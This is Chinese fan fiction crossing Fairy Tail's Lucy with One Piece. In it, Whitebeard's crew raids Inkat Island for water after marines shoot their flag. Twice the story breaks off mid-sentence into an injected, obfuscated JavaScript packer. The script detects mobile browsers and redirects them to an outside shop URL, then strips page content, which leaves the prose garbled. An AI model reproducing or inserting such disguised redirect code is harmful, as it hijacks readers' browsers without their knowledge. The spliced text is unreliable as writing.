【听好了露西!】阿葵亚俯身凑到她的面前,恶狠狠地威胁,【再敢把我从这种狭小的鱼缸里召唤出来,我就打烂你的屁股!】 唰。 露西睁开眼。 她从床上坐了起来。 女孩揉了揉自己的脸蛋,她又一次梦到阿葵亚了。 房间笼罩在一种寒冷的寂静中,屋子里没有光,露西这才意识到,天已经很黑了。巨大的咕噜声穿透肚子,饥饿感令她有些头疼地捂住自己不听话的胃,嘴巴里泛起唾沫。 露西抱住自己。 这才不是梦! 有一个声音告诉她,她的星灵在等她,她必须要去找到他们,无论多么艰险,无论付出什么代价。 因为…… 因为…… 后面的部分,露西想不起来了。 “总之!露西有一个星灵!她是蓝色的,喜欢待在大鱼缸里!” 完全错误! 咕噜。 肚子又叫了。 “……” 孩子无力地倒在床上。 下午睡的太久了,这时候的露西没有半点睡意,解开束腰后,对食物的欲望同样开始攀升。女孩只能闭上眼在心中默念,露西不饿,不饿。露西一点也不想吃东西。 露西不想吃面包,也不想吃西红柿。 咕噜。 “……” 她翻了个身将自己埋进被子里。 【“……在哪里?”】 【“快跑!”】 【“莫尔,莫尔!谁看到我的孩子了?!救救他,求求你们救救他……”】 黑暗中突然传来声音,露西坐了起来。 怒吼,尖叫,指责……很多,很混乱,像是整座岛屿的人们在同时说话。她这才注意到窗户外有忽明忽暗的光。 露西走到玻璃旁,红色映入她的眼睛。 着火了。 集市上乱成一团,水果和粮食被撞在地上,好多人因此摔倒,再也没有爬起来。喷泉池里的硬币无人问津,那个天使沉默地灌着水,注视着居民跑过自己身边。人们的头发乱了,鞋子丢了,还是不敢停下,慌慌张张地抓起手边的家人,将孩子扛在肩上,朝两侧的小路挤去。 小路上全是人。男人,女人,老人,小孩,他们伸长手,眼睛里流露着巨大的恐惧,像是在怒骂,指着什么地方尖叫。人群被挤在集市与小路的交界动弹不得,那些落在最后面的人不停回头,好像从黑暗中看到逼近的野兽。他咬咬牙爬上墙,翻过粉刷的屋顶直接跳了下去,跳进人群中间。人群里传来惊呼。 可是新的人落在队伍尾巴,他们也开始恐慌,学着前面的人推着自己的家属往楼上爬。一个孩子的母亲拽住他们,不让他们往上,因为她已经快落到最后了。对方踹了她一脚,用力地蹬着,踩着她的身体爬了上去。 那个母亲摔在地上,孩子跑过来,拉着她起身,发出悲惨的哭声。 砰。 一声像是鞭炮炸开的声音从集市另一头传来。 有人探头看了眼,人群有一瞬安静。 一秒后,他们疯了似的挤向小路。 所有脸重叠在一起,推搡,挤压,抛弃……每个人都在哭,倒下的火苗舔舐着他们的店铺,转瞬连成一片。 棚子被烧干净后,架子落了下来,压住粮食。落单的狗留在最后,甩着尾巴嗅闻地上的剩饭,扭头朝着黑暗里叫起来。 哭喊的人群中,海军逆着人流奔向集市对面,他们脸上露出一种生动的害怕,握着枪的手僵硬地根本拉不开保险。他们擦了擦额头上的汗,可是后背已经湿了,手臂上也全是水。他们抖了抖发麻的手,一边喘息一边重新举起枪。 他们冲进那片黑暗。 露西看不到黑暗中发生了什么。海军占据了集市这边的高地,子弹一连串打出去,带着一同赴死的决意。他们嘶吼着,双眼通红,突然,身体一震,向后倒下。 黑暗中走出来许多陌生人,拿着刀,拿着枪,冲进火光里。他们也有人倒下,不断倒下,可他们没有畏惧,仿佛他们才是这座岛的主人。 海浪不断地将他们送上岸,他们咬着刀爬上楼,手起刀落,拿起枪支转身就是一枪。又一个海军倒下去。新的海军补上来,看着同伴的尸体,脸上有一瞬陷入绝望。 他犹豫了,于是他死了。 那些陌生人停留在海岸线上,尽管他们早就能够进入集市,他们并没有这样做,就像是刻意忽略了集市上的人,他们的目标只有海军。 露西震惊地站在原地,连呼吸都几乎停止。玻璃上的寒冷顺着指尖爬到肩膀,她的思维开始一寸寸冻结。忽然,一声凄厉的尖叫—— “海贼来了,快跑啊!” 酒店门口的服务员扯着嗓子丢下手里的毛巾夺路而逃,护卫从大门里冲出,紧接着快速退回楼内,酒店里的骚动像蚁穴被点燃般炸开。 露西不知道这个词是什么意思,但那种瘟疫一样的恐慌感染了她,她匆匆离开窗边,下一秒就听到迪迪特的声音。 “露西?露西?” 大门被推开,伴随着迪迪特夫人的尖叫。她惊慌地走动,高跟鞋将地毯踩出沉闷的鼓点。迪迪特在房间里到处寻找,酒店里惊慌的喊声令她失去头脑,她甚至来不及检查其他角落,对死亡的恐惧抓住了这个女人。 “夫人!”门口的侍卫扒着门喊,“门是开的,小姐是不是逃出去了?” “什么?!”迪迪特夫人回头,她愣了几秒,立马被这个念头说服。 “对,对!”她一刻都不想停留了,谁知道那些火焰会不会烧到这里来。她可不想死啊! “真是的,露西居然抛下我们先逃命去了!”迪迪特夫人的表情重新变回之前那种蛮横的,刻薄的模样,她甚至开始怨恨自己的亲生女儿比自己先一步离开这里。 “你们……你们再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984335|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找找,我先离开这。” 她慌乱地命令,迫不及待离开漆黑的房间。 侍卫们面面相觑,看了一眼屋子没有靠近。 “呸!傻子才留下来!” “就说我们已经找过了,看到小姐逃出去了。”他们连门都不想带上,急匆匆朝着贵族们逃命的方向跑去,生怕自己晚上一秒就会被当成平民留在这个是非之地。 “……” 床底下爬出来一个女孩。 露西听着脚步远去,眼神颤抖了一下。但是很快,那种伤感就被坚毅代替,她擦擦脸,撑着地起身。窗户外的火光在燃烧,人们在哭喊逃亡,她在黑暗中靠着仅存的光摸到客厅的椅子,拖着它返回床边。 你们都走吧,别管我了,反正你们只是想用我嫁给一个从来没见过的王子,让家族变得有名。 她任由脸上的水流下滴在地上。 否定她梦想的父母,将她推向钱袋的父母,他们不是她真正的家人,这里也不是家。 露西拖着椅子来到窗边,和那个金发男孩一样拽着它—— 砰! 她用尽全身力气将凳子甩过去,玻璃上出现爆裂的痕迹。 砰! 蛛网一样的裂缝开始弥漫。 砰! 整扇窗户发出摇摇欲坠的声音。 哗啦! 露西没有收住,整个人随着椅子前冲,直直朝窗户外翻去! 涌入的风瞬间捂住她的口鼻,她的心脏重重跳了一下,椅子从手中滑走,径直跌入深渊。半个身子漏出窗户的露西因此脚下一滑摔在碎玻璃上,重新跌进房间。她拽着鼓风的窗帘爬起来。 玻璃碎了。 露西的瞳孔难以置信地颤抖。新世界的海风带着硝烟的气息涌入她新生的鼻子,没有那些雪茄的气味,没有名贵的香水,露西大口大口地呼吸着顶楼的空气。风逆灌入房间,窗帘和床帏在飘动,她感受到铁锈和汗水混合的气息,一步踩在窗沿上。 底下的火光与暗色变得无比真实。 椅子掉下去了,露西探头也看不到。 她不能学着哥哥那样坐着椅子飞出去了。 怎么办? 黑夜不会回答。 这时,远处的黑暗中出现一簇蓝。和阿葵亚一样的,水流般源源不断的蓝。 孩子的目光不由自主地被那片蓝色吸引,它太漂亮了,比所有青金的宝石都要澄澈,比所有蓝色的鸟儿都要鲜活,那是一种充满生命力与野心的蓝,它带着太阳的明黄划过黑夜,像一团永远不会停止燃烧的火。 “不对!快开灯!” 海军意识到什么,他们跑上灯塔,用力拍下按钮。紧接着,数盏灯亮了起来,一同照向那片蓝。 刺眼的白光追逐着蓝色的背影却总是晚它一步,但露西借着那些光看清了。被光照到的地方是更多拿着刀的人,他们的眼睛像藏在林子里的猞猁,只有直视的那一刻才能看见凶光。他们沉默地隐藏着,一跃而起,趁着海浪冲上沙滩。 先前的蓝色飞到灯塔下,它用力撞了上去,灯应声而碎。紧接着,一枚子弹击穿了另一侧的灯,灯因此旋转,在彻底报废前扫过那个枪手樱花般的装束,扫过海面上浮动的巨影。 露西连忙探头去看。 白色的巨鲸。 蓝色的火焰飞到鲸鱼头上,像一只海鸟停留在那里。 “发射!发射!” 海军惊恐地朝着那点光源射击,而那抹蓝色像凤凰一样展翅飞了起来,迎着枪林弹雨扑倒了开枪的人类。 “哦哦哦哦——!” 它领着那些从海里走出来的人径直朝岛上飞来。 他们是谁? 新世界,白胡子海贼团。 5. 马尔科的倒霉一天 对马尔科来说,今天是相当倒霉的一天。 早起,他的右眼皮开始疯狂跳动。 马尔科来到甲板,十一、十二番队的家伙们又喝了通宵,一群大老爷们倒在地上酣睡,甲板上到处是滚落的酒桶和吃剩的食物。新世界的海浪溅到木头上,打湿了他们的裤腿。酒水像眼泪一样在地上晕开。 “又来了……” 一番队的队员们站在他身后,马尔科颇为头疼地示意他们将人喊起来。 “让他们把甲板打扫干净yoi。” 兄弟们胡闹,老爹也跟着乱来,护士根本拦不住他喝酒,马尔科不用想也知道老爹昨晚一定喝的比两个小队加起来还多。 乔兹、比斯塔都不在船上,马尔科一下子成了整条船的大家长,什么都要管。他抓了抓头发,感觉自己本就不多的金发掉得更快了。 “喂,马尔科!”这时,萨奇从船底上来,脸上没了平时的嬉笑,“出大事了——咱们没淡水了!” 马尔科看了萨奇一眼,以为他指的是厨房用水。他调侃道:“萨奇,少一两顿饭也没事。” 萨奇摇头,神情一反往常的凝重。他带着马尔科来到淡水舱,敲了敲厚重的木壁:“你忘了吗?泰格那件事。” 就在泰格解放奴隶之后,鱼人岛附近的海军一夜之间多了三倍!他们在白胡子的领地徘徊,不少附属海贼团都和海军爆发了激烈冲突。 “比斯塔和那缪尔他们在鱼人岛驻扎,分走了一部分淡水。后来,我们从鱼人岛返回时撞上海军又打了一场。” 马尔科愣了一下:“我记得这件事yoi,当时不是没问题吗?” 萨奇捂住脸,不愿意提起:“暴雨里谁都没注意,流弹碎片将淡水舱击穿了。” 空气有一瞬凝固。 马尔科很慢地眨了下眼睛,立刻意识到事情的严重性。他蹲下扭动阀门,一股带着腥味的细流冲出来,无论是气味还是重量都和本应在淡水舱内的水源相差甚远。 该死的,这不是完全不能用了吗?! 青年舔了舔牙齿,压抑着焦躁站起:“之前没发现?” 萨奇叹了口气望向通道:“不是下雨嘛,船员没看出来。等发现的时候,淡水已经流失三成,剩下的也被雨水污染了。” 他担忧地摸着潮湿的木头,拍了一下墙壁:“莫比迪克号太大了,马尔科,我们得尽快登岛补水。” 否则,不出三天,一半的船员会因为缺少淡水资源倒下。 马尔科捏了捏鼻梁,起身和萨奇快步返回一楼:“中层货舱旁有备用水源,先减少非必要用水,能撑多久是多久。” 他探头朝甲板喊了一声:“哈尔塔!” 少年面貌的海贼睡眼惺忪地从地上弹起来。 “别睡了yoi,带着你的人,我们要找最近的岛屿登陆,最好是日落前找到。” 穿着浅绿色泡泡袖的少年头痛得很,正在砸自己的头,闻言,猛地抬起脸看他:“啊?” 视线一阵发白,哈尔塔倒吸一口凉气闭上眼。马尔科的眼神带着明显的命令,他没有多问,点点头表示知道了,忍着头痛回头喊自己的队员爬上桅杆观测。马尔科没再管他们,朝着老爹所在的方向走去。 “淡水?” 白胡子将酒壶放在地上,凌厉的海风吹过,反倒被这个男人的满身肌肉割开,四散逃逸。他像是一头将将苏醒的巨鲸,随着男人起身的动作,海面似乎也开始动荡,鱼群沉入海底,飞鸟避开船只。护士们推着车离开,他并不着急,走了几步来到甲板,偷懒的船员们立刻从箱子上跳下来,站到一起喊了一声“老爹”。 “哈尔塔——” “在呢!”哈尔塔听到声音,趴在主桅杆顶上的平台边缘回应。 白胡子抬头看了他一眼,他没有询问淡水舱的事情,而是面孔一板,骂道:“臭小子,大半夜的偷我的酒喝?” 哈尔塔心里一惊,脸上丝毫不慌:“我没有!肯定是哪个混蛋瞎传!” 他的目光落在人群中的以藏,大喊:“我知道了!是以藏吧?!我们开宴会没带他,他就到您那说我坏话!” 以藏抬起那张艳丽的脸蛋,额前一缕长发轻颤了两下。他抱着手倚在木箱上,微微挑眉,故意用尊称喊他:“哈尔塔阁下,全船就你一个小身板,想不认出来也很难啊。” 甲板上的船员们大笑起来。 哈尔塔气得直拍护栏,白胡子见状,哼哼道:“臭小子,马尔科让你找岛屿吧?你今天要是找不到,以后都别想喝酒。” 桅杆上传来少年哀怨的喊声,白胡子才不理他,吩咐众人:“把帆升起来。” 唰。 船帆顶着强风鼓动。 船员们各自归位,马尔科站在白胡子身边,他依然是那副懒散的单手叉着腰的站姿,却始终没有开口。白胡子瞥了他一眼。 沉思中的马尔科莫名头顶一重。 他差点没站稳,踉跄了一下抬头。 “老爹?” 白胡子看着这个年轻的儿子,眼前恍惚浮现十几年前那个瘦瘦小小,像鸟儿一样喜欢待在高处的少年。他看得出马尔科的担忧。马尔科总是在担忧,好像莫比迪克号上大大小小无论何事都是他的责任。明明他不是船上最年长的那个,也不是最早加入白胡子海贼团的那个,却硬生生将自己活成了最苦最累的模样。 白胡子想,不过是水不够了,之前比这更糟的经历什么没有过。只是马尔科总是对每一次遭遇都做最坏的打算,而他计划里那些最坏的未来,无一例外都由马尔科自己承担。 马尔科摸着自己的金发,瞪着眼睛仔细分辨手心里有没有被薅下来的发丝。手心空无一物,他松了口气,慢吞吞地开口:“老爹,别摸我头啊,我都三十了,不是小孩子yoi。” “臭小子,说出这话就说明你还是孩子啊!” 父子俩在海风中站了一会,白胡子看着远方一望无边的海面,淡淡道:“没什么好担心的,我的儿子们都是厉害的家伙,不会轻易倒下。” “……嗯。” “如果我们真的因为这点小事死在海上,说明我们也不过是这样的男人啊,咕啦啦啦!” “老爹!” 白胡子逗够了孩子,转身向自己的座位走去。他的背影像一座沉默的山,只是立在那里,马尔科不安的心就逐渐恢复平静。他盯着那个背影,直到彻底消失,眨了眨眼回过神来。 …… 午后,哈尔塔发现了岛屿。 “地图上没有标注,看来不是一座大岛。” 马尔科看着他画的草图,从桌前直起身来:“不知道是谁的地盘,总之先准备起来吧yoi。” “如果是海军的呢?” 一直盯着地图的以藏突然开口。 队长们不约而同停下。 “各位不要忘了,玛丽乔亚刚刚发生过那样的事情,世界政府施压,海军相当在意,所以才会不惜冒犯老爹也要在鱼人岛周围布置几倍兵力。这样来看,他们在新世界的岛屿增加人手不是没有可能。” 鱼人费舍尔·泰格徒手爬上一万米高空的圣地玛丽乔亚,放火烧毁圣地,组织大量奴隶出逃的事情经由世经社在大海上传的沸沸扬扬。世界政府和海军内部对鱼人及相关势力的态度空前强硬。为了保护鱼人岛,白胡子海贼团在过去数月中与海军展开了大大小小数百场争斗,双方关系紧张到极点。 哈尔塔冷哼一声,眼里长出一种凶猛的跃跃欲试的光芒:“是海军更好!他们欠鱼人岛的账一起算!老爹的地盘都敢来插手,真当我们是吃干饭的?” “哈尔塔,”萨奇开口提醒他,“别主动挑火。” “萨奇,你小子害怕海军?” “我怕你淡水带不回来!你们就等着挨饿吧!” “好了,都别吵yoi。”马尔科强硬地插入他们的对话,“萨奇说得对,我们是去补给的,不是去开战。莫比迪克号体型太大,贸然靠近,岛上的居民会恐慌的。哈尔塔,算一下什么时候能到,我们把船停在深水区提前下锚。布拉曼克,物资清单交给你和萨奇。” “以藏。”他看向粉色和服的男人。 以藏微微颔首:“登陆由我来。” 等他们来到因卡特岛外海的时候,天已经黑了。因卡特岛上亮着一排排灯笼,马尔科在很远的地方听见居民们调笑的声音。他犹豫了一下,没有将船停在礁石群背后。 “再靠近一点吧,反正也没有光,天亮前我们肯定离开了。”他朝着船员们说道。 很快,他意识到这是一个错误的决定。 砰! 就在他们停下不久,一颗子弹穿过黑夜击中莫比迪克号的船体。 “什么人!什么人在那边!” 年轻的声音从岸上传来。 “喂喂,不是吧……”马尔科心里一个咯噔。 背着枪的青年快步停下,扭头招呼:“队长,海边好像有人!” “你们几个,都过来!” 一阵悉悉索索的声音后,十多个年轻人冲着海岸线跑了过来,枪支与衣服上的纽扣碰撞出清脆的响声。此刻起锚已经来不及了,凭借着良好的见闻色,白胡子海贼团的队长们看清了那些身影—— 海军。 “以藏,被你说中了。”哈尔塔咧嘴笑了,手中的刀在月光下反射出亮眼的银色。他上前一步,像一只埋伏的猞猁面对猎物跃跃欲试。 “哈尔塔。”马尔科出声道,“老爹说过——我们和海军之间,非必要,不开战。” 哈尔塔的肩膀一下子耷拉下去,少年撇撇嘴退到阴影中,和以藏站在一起。 马尔科目光落到那些在黑暗中像没头苍蝇一样紧张兮兮的海军身上。这时候,他还抱有一点幻想,这些海军不会蠢到和他们在这里开战。 新世界的海军都知道,没有中将在场的情况下和白胡子海贼团遇上,绝不能硬碰硬。双方对彼此视而不见,保持安全距离并行是最好的选择。至于事后叫来中将追击……那是之后的事情了。 这些孩子不至于蠢到和大海贼正面硬刚吧? ……不至于吧? 第二个错误。 “海、海贼!” “队长,是海贼啊!那艘船错不了的!白胡子……白胡子海贼团!他们是白胡子的手下!!” 砰! 海军,开枪了。 子弹再一次打偏落在船沿上。 “快去通知军曹!其他人和我一起,开枪!开枪!绝不能让白胡子海贼团上岛!” 密密麻麻的子弹冲着主船射了过来,船员们发出好大一声咂嘴,纷纷避让。 “喂,海军的小鬼,收起你们的枪!”萨奇高声道,“我们不是为了战争来的!” “不要停下!他们不过是海贼而已……没什么好怕的!不用害怕!”队长朝着手下厉喝。海军们绷紧嘴唇,血色眨眼间从脸上褪去,他们的眼睛几乎要瞪出来,眉毛夸张地挑起皱在一起,浑身肌肉紧张得发抖。 他们握着枪的手不受控地颤动,子弹毫无准头地扫射,弹射在莫比迪克号坚硬的船体上。木箱被击中,碎片飞散,酒水洒了一地。 萨奇没好气地用上武装色,挥手挡开袭击的飞弹,再一次劝道:“都说了我们是经过!经过!” “白胡子海贼团,束手就擒吧!我们是正义的海军!” 萨奇诡异地沉默了两秒。两秒后,他尖叫:“……这是哪儿来的新兵!!” “伟大航路啊。”以藏歪了歪脑袋,他平静地拨开保险,从掩体后直起腰背。黑发垂在脸旁,他的口红在昏暗的月色下愈发鲜亮。青年抬起手,右手的燧发枪抵在肩上。 如果可以,他们真的不想和海军在这里闹起来。 第三个错误。 噗。 枪林弹雨中传来一声突兀的脆响。 马尔科心头莫名一跳,一种不太好的预感攫住他。青年闻声而去,瞳孔猛地收缩。 “你他*的!” “哈尔塔!” 哈尔塔从通道冲出去,被以藏一把拉住拽回来按在墙上。 谁也没有想到,一颗子弹击穿了桅杆上白胡子海贼团的旗帜。 放眼整个新世界,没有人,从来没有人,哪怕是强如BIG MOM和凯多,哪怕是卡普和鹤,都不会朝白胡子的海贼旗开枪。 因为那是海贼的脸! 马尔科几乎是立刻起身朝外跑去,他意识到这群小兵是没脑子的蠢货,可是没等他来到甲板—— 噗!噗!啪! 那面画着海贼团标志的旗子被击中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984336|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三次,最后一枪打断了旗杆! 咔擦。 旗杆应声而裂。 绣着骷髅的海贼旗在微凉的风中缓缓飘落。 船上死一般的寂静。 “……找死。”以藏的声音仿佛结冰。 萨奇噗地吐掉嘴里的烟扔在地上踩灭,金古多和布拉曼克默默握紧拳头,按住瞳孔震颤的哈尔塔。所有队长的脸色都在这一刻变得十分难看,包括马尔科。 这个总是温和的青年此刻额角青筋毕露,眼底的深意和因卡特岛的夜色一样阴沉。 一支无名的海军小队撕破了白胡子海贼团的颜面。 马尔科一点点直起身,腿部的流苏无风而动,他的眼睛里闪烁着一种冷漠的像是在看死人的微光。 “一次是巧合,连续三次冲着我们的海贼旗去……我可以把它当成是宣战吧?” “还和他们废话什么!!”哈尔塔早就忍不住了,少年甩开金古多和布拉曼克,噌地抽出砍刀厉声道,“摆明了羞辱我们!” “先是鱼人岛,现在又是这里,他们是算好了要跟我们过不去!” “不用想也知道,这是世界政府和海军总部的意思!我们白胡子海贼团绝不能退让!否则我们算什么!” “对!绝不退让!” “绝不退让!” 声音此起彼伏地响起,如同怒涛冲上海岸,每个船员眼中都燃起熊熊怒火。利刃刮擦出令人耳酸的噪声,地动般的脚步密集地朝着甲板涌去,仿佛要将岸上的一切撕碎殆尽。 “咕啦啦啦。” 熟悉的笑声,船员们一愣,暴动的情绪被当头泼了一盆水熄灭。他们对视一眼,抿着唇收起自己的弯刀,压低眼帘,那种恨不得将海军烧死的愤怒变成一种克制的寂静。 白胡子从通道尽头走来,迈着平静稳重的步伐,路过自己被激怒的孩子。月光将他的身影拉的很长,海军只看到一个无比巍峨的影子一步步、不容抗拒地向他们走来。不知是谁发出第一声惊恐的尖叫,有人开始退缩,但军曹唾沫横飞,架起枪,像看见天敌的鸟儿张开羽翼威吓一般,瞄准了那张与大海齐名的脸。 船员们的目光噌地亮了。 他算什么东西,竟敢将枪对准老爹?!! 砰! 萨奇惊掉下巴。 海军开枪了。 他***的居然开枪了? 哈! “我要杀了他们!!”哈尔塔扑出去,被金古多和以藏拦腰抱住。少年像一头幼狮在两人怀里挣扎,眼中只剩下对海军的震怒。 马尔科听到自己血液倒流的声音。 白胡子笑了一下,他看着海军小鬼的目光并不恼怒,甚至没有一点攻击性,这种威吓在白胡子眼中简直是小孩子的过家家。 子弹疯狂地倾泻而出,那些海军甚至没有打开枪上的瞄准,只是凭蛮力射击。船员们目眦欲裂,可那些铁疙瘩打在白胡子身上根本不痛不痒,连他的皮肤都无法擦破。海军的怒吼混合着极致的惊恐呼之欲出,白胡子恍若未闻,他弯下腰,捡起自己的旗帜。 “咕啦啦啦。” 男人的笑声如同利剑刺破黑夜。 那一刻,所有声音戛然而止。 海贼、海军,万籁俱寂。 海军们愣在原地,枪支在手中微微发抖。只是一声笑,没有人敢动作,没有人敢呼吸,众人仿佛看见一座无法逾越的高山横在自己面前,冷汗顺着脸颊滑落。 海岸一片寂静。 “老爹!”哈尔塔推开金古多,大喊道,“你都看到了——他们就是故意的!” “什么意外,这根本就是海军总部授意的,针对我们的挑衅!” 船员们立刻将因卡特岛上的炮火与海军在鱼人岛附近的施压联系了起来。 看到白胡子海贼团非但不避让,还主动出击——击落他们的海贼旗,攻击他们的船长。这不是海军的洗脑,不是总部的授意?说出去谁信啊!他们又不是傻子! 作为新世界的大海贼团,被一个无名的海军支部攻击,如果白胡子海贼团毫无反应,新世界的海贼要怎么看他们?那些被白胡子庇护的岛屿要怎么看他们?他们连船长被打和海贼旗被击落都可以无动于衷,还算什么海贼?! 军曹似乎终于意识到不对了,被小队长匆匆喊来,枪火的声音与男儿的热血嘭地冲上天灵,他没有多想就带着手下开枪。他们是海军,管你是什么海贼团,海军在此,谁敢放肆? 击落海贼旗的时候,海军们心中无比痛快! 看啊,什么新世界鼎鼎大名的海贼?只要是海贼,这就是他们的下场! 可是随着那个比山还要高大的男人走出,军曹感到一股难以言喻的压力扑面而来。他像是赤身裸体地站在整片大海面前,面对高悬的海浪,倒挂的天空。 这、这就是新世界,白胡子海贼团! ……我在做什么? 一瞬间,恐惧如同附骨之疽缠上他的脚踝,满腔热血顷刻间褪去,发热的脑子冷静下来后他才意识到自己做了什么蠢事! 我,我击落了白胡子海贼团的旗帜?我还攻击了白胡子本人? 他的脸色霎时间苍老了十岁。 白胡子看着自己被洞穿的海贼旗,他收起那面旗子,朗声问道:“海军的小鬼,你们知道……打落我的旗……意味着什么吗?” “快,快……”军曹嗓子里憋出两声气音,他剧烈地喘气,冷汗如同流水浸湿后背,全身力气在这一刻消失得无影无踪。什么勇敢,什么挑衅,他看着那个身影,脑子里只有两个字。 “快跑——!!” 几乎同时,白胡子开口了: “我的儿子们哟,将这些海军小鬼彻底摧毁吧!让战国——知道我们的态度!” “噢噢噢噢哦!!!” 审判的话语宣告落下,满船银光如同深海里飞跃的鱼群亮起,无数把刀径直指向黑夜。 伴随着狂欢的嚎叫,白胡子海贼团动了!船员们踩着甲板跃起,噗通一声落进水中。那些从水里爬上来的家伙凶猛地劈断枪支,滚烫的血液洒向天空,海军们惨白着脸,转身鬼哭狼嚎地冲向岸上。 明黄色的蓝火舔舐着躯干,马尔科翻身,化作不死鸟飞过莫比迪克号的船头,袭向那些溃败而逃的海军。 6. 勇敢勇敢我的朋友 战局当然是一边倒。 初出茅庐的海军在白胡子海贼团面前毫无招架之力,前排的海军踉跄着爬起,丢下自己的同伴转身逃向明亮的地方。可是刚才岸边的交火已经传遍了整座岛屿,居民们不知道发生什么,他们只知道危险来了,惊慌失措地抱头乱窜,一股脑涌向小岛对面的救生船。 旗帜被拽倒,灯笼倒下,火焰就那样顺着棉线和布料爬行,绊倒的塑料桶咕嘟嘟淌出油来,一点即着,整条街转瞬被热火分成两段。 另一侧的海军闻声赶来,他们顾不上灭火,跨过火墙冲向黑暗,但防线根本来不及拉开,他们匆匆登上塔楼举枪射击,就因为自己同伴的愚蠢犯下的罪被爆头。 一个海军爬上灯塔,拼着命打开灯。 啪。 刺眼的光柱瞬间指向海岸,照亮了原本隐藏在海水中的船员。 “射击!射击!” 海军精神一振,连忙对着光照的地方瞄准。 “喂喂,可不能让你们这样啊。” 他的笑容还没有来得及完全绽开,那个有些懒散的声音从灯塔底下飞了上来。海军只看到眼前一片荡漾的青蓝色,下一秒,哗啦!照明灯被男人毫不留情地踹碎。 “什、什么?”豆大的汗珠从下巴滴落,他的瞳孔微微颤抖,“不可能!世界上怎么会有人能飞?!” 话音未落,他的视线被青色的火焰占据,整个世界燃烧起来,直到脑袋与地面撞击的声音响起,他才意识到——燃起来的是我自己。 可是他已经无法知道答案了。 “怪、怪物!” 目睹这一幕的海军撕心裂肺地叫了起来,他们慌乱地抬枪,一股脑对着那个憩在栏杆上的青年疯狂扫射,嘴里“啊啊”地叫喊。 “怪物?” 马尔科挑了挑眉。 子弹暴雨般倾泻,马尔科连闪躲都懒得躲,任由攻击穿过再生之炎。跳动的火焰露出空洞,紧接着就被重新填补,整个过程甚至不到一秒。他的脸庞在火焰中忽明忽暗,身体毫发无损,连伤痕都没有留下。 “谢谢你们这样称呼yoi。”他笑着将两个海军踹出去。 马尔科从栏杆一跃而下,他像一只真正的不死鸟,吸引了几乎全部子弹,却没有一颗能伤到他。漆黑的夜空成了他一个人的舞台,他带着燃烧的双翼掠过人群,给敌人带去死亡的火焰。 青年踩着一个海军刹车,在沙滩上划出一道长痕。他抬头看向莫比迪克号,高喊道—— “以藏!” 砰。 回应他的是以藏的枪声。 盘着发髻的男人精准地击碎了另一盏照明灯,灯体旋转两周,在死前照出以藏精致而疏离的面容与从容不迫收枪的姿势。海面上一下子重回黑暗。 马尔科落到船头,火焰缓慢地燃烧着,他的声音不大,却足够所有人听见:“萨奇、金古多、布伦海姆,这里交给你们!以藏、哈尔塔、布拉曼克,带着你们的人和我走,我们登岛!” “记住,我们的目的只有两个——补给、立威。” 他说的极快,话音刚落就重新冲向地面。 萨奇应了一声,以藏持枪从船上一跃而下,抬手击毙两个靠近的海军。和服下摆微微晃动,他在混沌的黑白之中穿着艳到极致的樱粉,握着两把燧发枪,神色冷静地走上岸。 马尔科的身影在空中领路,以藏和哈尔塔各自带了一队进入因卡特岛,他们并没有多余的怜悯,甚至和以往比起来有些冷酷。 船员们小跑着开道,哈尔塔回头,高声道:“钱留下,必需物资全部带走!” 新世界的岛屿总是夹在各大海贼团与海军之间,敌对势力登岛时通常会引起轩然大波,没有摧毁岛屿是幸运,被降下雷霆,这些人也只能受着。 但他们遇上的是白胡子,白胡子的船员从不主动伤害平民或掠夺岛屿。 小岛尽头传来哭天喊地的混乱声响,还没来得及逃离的居民惊慌失措,躲进自己的家里。大门吱嘎作响,他们蹲在角落瑟瑟发抖,闭着眼祈求这些海贼不要靠近。可是火墙对海贼来说根本算不得阻拦,他们从容不迫地从中间穿过,锐利的目光扫视道路两旁的店铺。 马尔科落在旗杆上,低头扫过火光中被遗弃的平房和货摊,哈尔塔带着队向右进入小巷,布拉曼克则是向左,面前的集市留给了以藏所在的十六番队。 “以藏,别忘了水果yoi!”青年高喊。 以藏比划了一个手势示意他自己听到。 “都听到马尔科的话了?” “是,队长!”队员们掉头开始地毯式搜寻。 午夜时分,无论是卖什么的都已经收摊,他们想要找到一家水果店并不容易。十六番队的队员们用刀翘起木箱,对视,摇头。他们很快将视线转到落锁的店面上,一刀劈断,踹门查看。 “妈妈……” “爱尔!别说话!”头发凌乱的哈特夫人一把捂住女儿的嘴,将她整个人搂在怀里。一家三口贴着墙壁,用力将自己缩起。寒意从脊椎一路上窜,漆黑的楼梯近在咫尺,他们却不敢移动,下肢冰冷得失去全部知觉。 爱尔靠在母亲怀里,她的父亲哈特先生躲在靠楼梯的一侧,并不打算过来。爱尔听到母亲急促的心跳像断了线的珍珠落在盘子里滚动。黑暗中,每一声呼吸都清晰可闻,她偏过头看了一眼,那些大大小小堆叠的水果仿佛一堵高墙牢牢地挡在她身前,给了她些许力量。 “妈妈,我害怕。” 哈特夫人死死盯着窗外张牙舞爪的火光中映出的剪影,她微微愣神,几秒后才反应过来,低头痛苦地闭眼,吻了吻孩子的额头:“不要怕……不要怕……妈妈在这里,妈妈会保护你的……” “没错爱尔,海军会保护我们的!” 哈特先生咬紧牙关说道。 砰! “啊!!”爱尔被这动静吓得失控地惊叫,哈特夫人连忙捂住她的嘴。 